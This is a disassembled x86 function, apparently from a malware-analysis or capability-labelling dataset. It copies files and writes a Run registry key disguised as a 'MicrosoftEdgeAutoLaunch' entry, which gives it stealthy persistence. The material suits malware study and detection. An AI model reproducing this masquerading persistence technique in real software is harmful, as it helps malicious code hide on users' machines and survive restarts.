Function at 0x10005fe0
Capabilities:
Accept command line arguments
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012c44
mov eax, dword fs:[0]
push eax
sub esp, 0xe4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0xb0], 0
xor eax, eax
mov dword [ebp - 0xac], 7
movups xmmword [ebp - 0xc0], xmm0
mov word [ebp - 0xc0], ax
mov dword [ebp - 4], eax
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], 7
mov word [ebp - 0xa4], ax
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], 7
mov word [ebp - 0xd8], ax
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], 7
mov word [ebp - 0x8c], ax
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], 7
mov word [ebp - 0xf0], ax
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], al
sub esp, 8
mov byte [ebp - 4], 6
lea eax, [ebp - 0x5c]
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x8c]
push eax
call fcn.10005070
add esp, 0x14
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test eax, eax
je 0x1000620a
cmp dword [ebp - 0x44], 1
jne 0x1000620a
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x60], 8
lea ecx, [ebp - 0x74]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0xc0]
cmovae ecx, dword [ebp - 0x74]
cmp dword [ebp - 0xac], 8
push 0
cmovae eax, dword [ebp - 0xc0]
push ecx
push eax
call esi
cmp dword [ebp - 0x78], 8
lea ecx, [ebp - 0x8c]
push 0
cmovae ecx, dword [ebp - 0x8c]
lea eax, [ebp - 0xa4]
cmp dword [ebp - 0x90], 8
push ecx
cmovae eax, dword [ebp - 0xa4]
push eax
call esi
cmp dword [ebp - 0x48], 0x10
lea edi, [ebp - 0x5c]
cmovae edi, dword [ebp - 0x5c]
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10006186
mov eax, dword [0x10017ee0]
sub esi, ecx
movups xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRun]
mov dword [ebp - 0x18], eax
mov ax, word [0x10017ee4]
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x44]
push eax
movups xmmword [ebp - 0x40], xmm0
push 0xf003f
movups xmm0, xmmword [0x10017ec8]
push 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x30], xmm0
push eax
movq xmm0, qword [0x10017ed8]
push 0x80000001
movq qword [ebp - 0x20], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10006205
push esi
push edi
push 1
push eax
push str.MicrosoftEdgeAutoLaunch_A0092BE4ED4DC2B1B1C1CD262F233F939
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.10001370
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.SetType
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.10006900
lea eax, [ebp - 0xa8]
mov byte [ebp - 4], 7
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
test eax, eax
je 0x100062b6
cmp dword [ebp - 0xa8], 2
jne 0x100062b6
mov ecx, dword [eax + 4]
mov edx, ecx
lea edi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10006261
sub edx, edi
lea edi, [ebp - 0x2c]
sar edx, 1
cmp dword [ebp - 0x18], 8
cmovae edi, esi
mov esi, dword [ebp - 0x1c]
cmp esi, edx
jne 0x100062a9
test esi, esi
je 0x10006298
sub edi, ecx
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x100062a9
add ecx, 2
sub esi, 1
jne 0x10006287
push dword [ebp - 0x44]
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
call fcn.10001370
jmp 0x100062b3
push dword [ebp - 0x44]
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp eax, 8
jb 0x100062ed
lea ecx, [eax*2 + 2]
mov eax, esi
cmp ecx, 0x1000
jb 0x100062e3
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000648e
push ecx
push esi
call fcn.10006fe0
add esp, 8
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x10006321
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006317
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000648e
push ecx
push edx
call fcn.10006fe0
add esp, 8
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
cmp ecx, 8
jb 0x1000636d
mov edx, dword [ebp - 0x74]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10006363
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000648e
push ecx
push edx
call fcn.10006fe0
add esp, 8
mov ecx, dword [ebp - 0x78]
xor eax, eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
cmp ecx, 8
jb 0x100063be
mov edx, dword [ebp - 0x8c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100063b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000648e
push ecx
push edx
call fcn.10006fe0
add esp, 8
mov ecx, dword [ebp - 0x90]
xor eax, eax
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 7
mov word [ebp - 0x8c], ax
cmp ecx, 8
jb 0x10006415
mov edx, dword [ebp - 0xa4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000640b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000648e
push ecx
push edx
call fcn.10006fe0
add esp, 8
mov ecx, dword [ebp - 0xac]
xor eax, eax
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 7
mov word [ebp - 0xa4], ax
cmp ecx, 8
jb 0x1000646e
mov edx, dword [ebp - 0xc0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10006464
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000648e
push ecx
push edx
call fcn.10006fe0
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10006e80
mov esp, ebp
pop ebp
ret
call fcn.1000a5a4
int3